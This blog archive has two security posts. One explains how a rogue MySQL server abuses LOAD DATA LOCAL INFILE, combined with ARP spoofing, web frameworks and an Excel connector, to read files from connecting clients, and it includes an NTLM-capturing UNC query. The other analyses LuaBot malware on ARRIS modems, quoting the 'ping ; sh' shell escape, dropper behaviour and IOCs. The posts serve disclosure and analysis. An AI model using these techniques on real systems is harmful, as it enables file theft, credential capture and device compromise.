Monday, April 23, 2018

Abusing MySQL LOCAL INFILE to read client files

Recently, I was playing the VolgaCTF 2018 CTF with my teammates from TheGoonies and we came across an interesting Web challenge that we didn't manage to solve during the competition. The following day, I read the write-up and learned a cool technique to attack the MySQL client directly via the LOAD DATA INFILE statement.

The "Corp Monitoring" task consisted of a Corporate Monitoring API that would test the healthcheck of a given server by connecting and verifying if the FTP, Web and MySQL servers were up. The MySQL user for the connection was restricted and the healthcheck validation was based on a few queries including the "SHOW DATABASE" command.

The key to solve the challenge was to identify the "Can Use LOAD DATA LOCAL" client capability and point the API to a Rogue MySQL server that would read arbitrary files from the client via LOAD DATA INFILE statements.

After reading about the technique, I decided to check how several libraries, clients and Web Frameworks could be exploited. I also ended up writing a a Bettercap module to abuse this feature in combination with MITM attacks.

Previous Research

Before I start I would like to point that this technique is not new: it's a known and documented feature from the MySQL clients. I gathered prior posts, tools and presentations and they're all written by Russians - it looks like these techniques are not very widespread outside there.

- Database Honeypot by design - Presentation from Yuri Goltsev (August 2013)
Rogue-MySql-Server Tool: MySQL fake server to read files of connected clients (September 2013)
MySQL connect file read - Post from the Russian Security (April 2016)


According to the MySQL documentation, the handshake connection phase performs the following tasks:

- Exchange the capabilities of client and server
- Setup SSL communication channel if requested
- Authenticate the client against the server

After the successful authentication, the client sends the query and waits for the server response before actually doing something. The "Client Capabilities" packet includes an entry called "Can Use LOAD DATA LOCAL".

LOAD DATA LOCAL Set? You're gonna have a bad time.

This is where things start to become interesting. As long as the client enables the capability (via --enable-local-infile flag, for example), the file will be read from the local machine running the MySQL client and transferred to the server.

One particular feature from the MySQL protocol is that the client simply doesn't keep track of the requested commands, executing the queries purely based on the server response.

This means that a rogue MySQL server can simulate the initial handshake, wait for the SQL statement packet, ignore it and respond with a LOCAL DATA INFILE request. Cool isn't it?

For successfully exploitation we also need the client to make at least one query to our Rogue MySQL server. Fortunately, most MySQL clients and libraries make at least one query after the handshake in order to fingerprint the platform, for example (select @@version_comment limit 1).

Because most MySQL clients don't enforce encryption, it's quite easy to impersonate a MySQL server using tools like Bettercap. They simply don't care about the integrity and authenticity of the communication.

MITM + Bettercap + Rogue MySQL Server = WIN

Bettercap is the Swiss army knife for network attacks and monitoring. It supports several modules for ARP/DNS spoofing, TCP and packet proxy etc. I had a quick look on how its modules work and hacked a simple MySQL server that will abuse the LOAD DATA LOCAL INFILE feature to read client files.

Firstly, I sniffed the MySQL traffic while the client connects and request to read a LOCAL INFILE. I exported the server responses as byte arrays and defined the components in the Golang code:

Writing a module for Bettercap is very simple and the core of the Rogue MySQL server is as follows:

Here's the module in action:

The module includes the following options:

It's worth mentioning that the INFILE format also supports UNC paths. If the client connecting to your rogue MySQL server is running on Windows, it's also possible to retrieve net-NTLM hashes, using the query below:

LOAD DATA LOCAL INFILE '\\\\\\test' into table mysql.test FIELDS TERMINATED BY "\n";

Here's a quick video illustrating this technique:

If you have a privileged network position and perform DNS or ARP spoofing, you can also redirect the MySQL traffic from legit databases to your rogue server and read arbitrary client files.

As far as I know, it's not possible to simply redirect TCP traffic from Host A to Host B using Bettercap. I wrote a quick and dirty hack for tcp_proxy.go to handle that:

Here's the ARP spoofing and the MySQL LOAD DATA LOCAL INFILE in action:

I sent a pull request to the project with the Rogue MySQL Server, let's hope that @evilsocket accept it. If my pull request is accepted, I will also ask them the best way to redirect TCP traffic (maybe another module or a setting for the TCP Proxy). I will update the post with the upcoming official solution.

MySQL Command-Line Clients

The mysql client from Homebrew/macOS (mysql: stable 5.7.21, devel 8.0.4-rc) properly enforces the LOCAL-INFILE flag and won't let you read client files without explicitly enabling it:

For some reason, several clients like the Ubuntu default mysql-client (5.7.21-0ubuntu0.17.10.1, as of this writing) automatically sets that flag during the connection:

The same happens with the Windows client bundled with MySQL Workbench, there's no need to enable the flags to read local files:

Abusing Web Frameworks to read server files

This insecure by default behavior also occurs in several libraries, Frameworks and MySQL connectors out there: most of them enable to LOCAL-INFILE flag by default. In this case, when a Web-user modify a form containing a MySQL host and point it to a rogue server, he can read local files from the system.

This functionality is very common in Monitoring/Dashboard applications and Framework install scripts, that allow the user to set the database on-the-fly via the admin panel.

The good news here is that most Web-applications restrict the panels for changing MySQL settings to administrator users only. The bad news is that your admin is one XSS/CSRF/Clickjacking away from being exploited. Here's a quick overview on how some PHP frameworks can be abused:

  • Joomla v3.8.7

  • Wordpress v4.9.5

  • Zabbix v3.4.8

  • Drupal v8.5.2 (Not vulnerable)

Drupal was probably too busy being vulnerable to RCEs

Bonus: Abusing Excel MySQL Connector

If you have a Microsoft Office installation on your Windows machine and the MySQL Connector/Net is installed, it's possible to create a spreadsheet that connects to a rogue MySQL server. The connector is installed by default with the Windows MySQL installer and you probably have it if you use a tool to connect/manage MySQL databases or if your machine is running MySQL server.

In order to create a document that connects to a MySQL server, we need to go to the Data tab, choose New Query>From Database>From MySQL Database. We enter the server details, username, password, query and save the file.

If you download the document from the Internet, the receiver needs to put the document in editing mode before the remote server will be contacted. For some reason, we need to close/reopen Excel for the query to work. Also, Excel only displays the security warning during the first time you open the file and stops to do so as soon as you enable the external content.

Here's another demo:


Despite the efforts from Duo Security (they had a website AND a logo) with the BACKRONYM MySQL vulnerability, not much is being done to enforce proper encryption to MySQL servers. Web applications and Frameworks rarely support encryption and TLS validation for the MySQL connection. The unencrypted protocol is not secure and, given a password hash and a successful authentication handshake, one can successfully login on the server.

MySQL libraries and connectors should establish secure patterns and disable LOCAL-INFILE support by default. I really like the way the Go MySQL Driver works: it supports LOCAL-INFILE via whitelisting and the library documentation explicitly advises that the feature "Might be insecure!"

This feature can also be abused in honeypots and vulnerability scanners. It should be quite interesting to pwn security tools while they scan your MySQL host. If your application register a MySQL URI handler, your system might be exploited via website links.

Another interesting way to abuse MySQL clients is via downgrade attacks, switching to older insecure password authentication and verifying how they behave. But this post is already too long for that...

Thanks for reading! 

Monday, September 12, 2016

LuaBot: Malware targeting cable modems

During mid-2015 I disclosed some vulnerabilities affecting multiple ARRIS cable modems. I wrote a blogpost about ARRIS' nested backdoor and detailed some of my cable modem research during the 2015 edition from NullByte Security Conference.

CERT/CC released the Vulnerability Note VU#419568 and it got lots of media coverage. I did not provide any POC's during that time because I was pretty sure that those vulnerabilities were easily wormable... And guess what? Someone is actively exploiting those devices since May/2016.

The malware targets Puma 5 (ARM/Big Endian) cable modems, including the ARRIS TG862 family. The infection happens in multiple stages and the dropper is very similar to many common worm that targets embedded devices from multiple architectures. The final stage is an ARMEB version from the LuaBot Malware.

The ARMEL version from the LuaBot Malware was dissected on a blogpost from Malware Must Die, but this specific ARMEB was still unknown/undetected for the time being. The malware was initially sent to VirusTotal on 2016-05-26 and it still has a 0/0 detection rate.

Cable Modem Security and ARRIS Backdoors

Before we go any further, if you want to learn about cable modem security, grab the slides from my talk "Hacking Cable Modems: The Later Years". The talk covers many aspects of the technology used to manage cable modems, how the data is protected, how the ISPs upgrade the firmwares and so on.

Pay special attention to the slide #86:

I received some reports that malware creators are remotely exploiting those devices in order to dump the modem's configuration and steal private certificates. Some users also reported that those certificates are being sold for bitcoin to modem cloners all around the world. The report from Malware Must Die! also points that the LuaBot is being used for flooding/DDoS attacks.

Exploit and Initial Infection

Luabot malware is part of a bigger botnet targeting embedded devices from multiple architectures. After verifying some infected systems, I noticed that most cable modems were compromised by a command injection in the restricted CLI accessible via the ARRIS Password of The Day Backdoor.

Telnet honeypots like the one from have been logging these exploit attempts for some time. They are logging many attempts to bruteforce the username "system" and the password "ping ; sh", but they're, in fact, commands used to escape from the restricted ARRIS telnet shell.

The initial dropper is created by echoing shell commands to the terminal to create a standard ARM ELF.

I have cross compiled and uploaded a few debugging tools to my cross-utils repository, including gdbserver, strace and tcpdump. I also happen to have a vulnerable ARRIS TG862 so I can perform dynamic analysis in a controlled environment.

If you run the dropper using strace to monitor the network syscalls, you can see the initial connection attempt:

./strace -v -s 9999 -e poll,select,connect,recvfrom,sendto -o network.txt ./mw/drop
connect(6, {sa_family=AF_INET, sin_port=htons(4446), sin_addr=inet_addr("")}, 16) = -1 ENODEV (No such device)

The command is a simple download and exec ARMEB shellcode. The malicious IP is known for bruteforcing SSH servers and trying to exploit Linksys router command injections in the wild. After downloading the second stage malware, the script will echo the following string:
echo -e 61\\\\\\x30ck3r

This pattern is particularly interesting because it is quite similar to the one reported by ProtectWise while Observing Large-Scale Router Exploit Attempts:
cmd=cd /var/tmp && echo -ne \\x3610cker > 610cker.txt && cat 610cker.txt

The second stage binary ".nttpd" (MD5 c867d00e4ed65a4ae91ee65ee00271c7) performs some internal checks and creates iptables rules allowing remote access from very specific subnets and blocking external access to ports 8080, 80, 433, 23 and 22:

These rules block external exploit attempts to ARRIS services/backdoors, restricting access to networks controlled by the attacker.

After setting up the rules, two additional binaries were transferred/started by the attacker. The first one, .sox.rslv (889100a188a42369fd93e7010f7c654b) is a simple DNS query tool based on udns 0.4.

The other binary, .sox (4b8c0ec8b36c6bf679b3afcc6f54442a), sets the device's DNS servers to and and provides multiple tunneling functionalities including SOCKS/proxy, DNS and IPv6.

Parts of the code resembles some shadowsocks-libev functionalities and there's an interesting reference to the whrq[.]net domain, which seems to be used as a dnscrypt gateway:

All these binaries are used as auxiliary tools for the LuaBot's final stage, arm_puma5 (061b03f8911c41ad18f417223840bce0), which seems to be selectively installed on vulnerable cable modems.

UPDATE: According to this interview with the supposed malware author, "reversers usually get it wrong and say there’s some modules for my bot, but those actually are other bots, some routers are infected with several bots at once. My bot never had any binary modules and always is one big elf file and sometimes only small <1kb size dropper"

Final Stage: LuaBot

The malware's final stage is a 716KB ARMEB ELF binary, statically linked, stripped and compiled using the same Puma5 toolchain as the one I made available on my cross-utils repository.

If we use strace to perform a dynamic analysis we can see the greetings from the bot's author and the creation of a mutex (bbot_mutex_202613). Then the bot will start listening on port 11833 (TCP) and will try to contact the command and control server at

In order to understand how the malware works, let's mix some manual and dynamic analysis. Time to analyse the binary using IDA Pro and...

Reversing stripped binaries

The binaries are stripped and IDA Pro's F.L.I.R.T. didn't recognize standard function calls for our ARMEB binary. Instead of spending hours manually reviewing the code, we can use @matalaz's diaphora diffing plugin to port all the symbols.

First, we need to export the symbols from uClibC's Puma5 toolchain. Download the prebuilt toolchain here and open the library "armeb-linux\ti-puma5\lib\" using IDA Pro. Choose File/Script File (Alt+F7), load, select a location to Export IDA Database to SQLite, mark "Export only non-IDA generated functions" and hit OK.

When it finishes, close the current IDA database and open the binary arm_puma5. Rerun the script and now choose a SQLite database to diff against:

After a while, it will show various tabs with all the unmatched functions in both databases, as well as the "Best", "Partial" and "Unreliable" matches tabs.

Browse the "Best matches" tab, right click on the list and select "Import *all* functions" and choose not to relaunch the diffing process when it finishes. Now head to the "Partial matches" tab, delete everything with a low ratio (I removed everything below 0.8), right click in the list and select "Import all data for sub_* function":

The IDA strings window display lots of information related to the Lua scripting language. For this reason, I also cross-compiled Lua to ARMEB, loaded the "lua" binary into IDA Pro and repeated the diffing process with diaphora:

We're almost done now. If you google for some debug messages present on the code, you can find a deleted Pastebin that was cached by Google.

I downloaded the C code (evsocketlib.c), created some dummy structs for everything that wasn't included there and cross-compiled it to ARMEB too. And now what? Diffing again =)

Reversing the malware is way more legible now. There's builtin Lua interpreter and some native code related to event sockets. The list of the botnet commands is stored at 0x8274: bot_daemonize, rsa_verify, sha1, fork, exec, wait_pid, pipe, evsocket, ed25519, dnsparser, struct, lpeg, evserver, evtimer and lfs:

The bot starts by setting up the Lua environment, unpacks the code and then forks, waiting for instructions from the Command and Control server. The malware author packed the lua source code as a GZIP blob, making the entire reversing job easier for us, as we don't have to deal with Lua Bytecode.

The blob at 0xA40B8 contains a standard GZ header with the last modified timestamp from 2016-04-18 17:35:34:

Another easy way to unpack the lua code is to attach the binary to your favorite debugger (gef, of course) and dump the process memory (heap).

First, copy gdbserver to the cable modem, run the malware (arm_puma5) and attach the debugger to the corresponding PID:
./gdbserver --multi localhost:12345 --attach 1058

Then, start gef/GDB and attach it to the running server:
gdb-multiarch -q
set architecture arm
set endian big
set follow-fork-mode child

Lastly, list the memory regions and dump the heap:
dump memory arm_puma5-heap.mem 0x000c3000 0x000df000

That's it, now you have the full source code from the LuaBot:

The LuaBot source code is composed of several modules:

The bot settings, including the DNS recurser and the CnC settings are hardcoded:

The code is really well documented and it includes proxy checking functions and a masscan log parser:

Bot author is seeding random with /dev/urandom (crypgtographers rejoice):

LuaBot integrates an embedded JavaScript engine and executes scripts signed with the author's RSA key:

Meterpreter is so 2000's, the V7 JavaScript interpreter is named shiterpreter:

There's a catchy function named checkanus.penetrate_sucuri, on what seems to be some sort of bypass for Sucuri's Denial of Service (DDoS) Protection:

LuaBot has its own lua resolver function for DNS queries:

Most of the bot capabilities are in line with the ones described on the Malware Must Die! blogpost. It's interesting to note that the IPs from the CnC server and iptables rules don't overlap, probably because they're using different environments for different bot families (or they were simply updated).

I did not analise the remote botnet structure, but the modular approach and the interoperability of the malware indicates that there's a professional and ongoing effort.


The analysed malware doesn't have any persistence mechanism to survive reboots. It wouldn't try to reflash the firmware or modify volatile partitions (NVRAM for example), but the first stage payload restricts remote access to the device using custom iptables rules.

This is a quite interesting approach because they can quickly masscan the Internet and block external access to those IoT devices and selectively infect them using the final stage payloads.

On 2015, when I initially reported about the ARRIS backdoors, there were over 600.000 vulnerable ARRIS devices exposed on the Internet and 490.000 of them had telnet services enabled:
If we perform the same query nowadays (September/2016) we can see that the number of exposed devices was reduced to approximately 35.000:
I know that the media coverage and the security bulletins contributed to that, but I wonder how much of those devices were infected and had external access restricted by some sort of malware...

The high number of Linux devices with Internet-facing administrative interfaces, the use of proprietary Backdoors, the lack of firmware updates and the ease to craft IoT exploits make them easy targets for online criminals.

IoT botnets are becoming a thing: manufacturers have to start building secure and reliable products, ISPs need to start shipping updated devices/firmwares and the final user has to keep his home devices patched/secured.

We need to find better ways to detect, block and contain this new trend. Approaches like the one from SENRIO can help ISPs and Enterprises to have a better visibility of their IoT ecosystems. Large scale firmware analysis can also contribute and provide a better understanding of the security issues for those devices.

Indicators of Compromise (IOCs)

LuaBot ARMEB Binaries:
  • drop (5deb17c660de9d449675ab32048756ed)
  • .nttpd (c867d00e4ed65a4ae91ee65ee00271c7)
  • .sox (4b8c0ec8b36c6bf679b3afcc6f54442a)
  • .sox.rslv (889100a188a42369fd93e7010f7c654b)
  • .arm_puma5 (061b03f8911c41ad18f417223840bce0)

GCC Toolchains:
  • GCC: (Buildroot 2015.02-git-00879-g9ff11e0) 4.8.4
  • GCC: (GNU) 4.2.0 TI-Puma5 20100224

Dropper and CnC IPs:

IP Ranges whitelisted by the Attacker: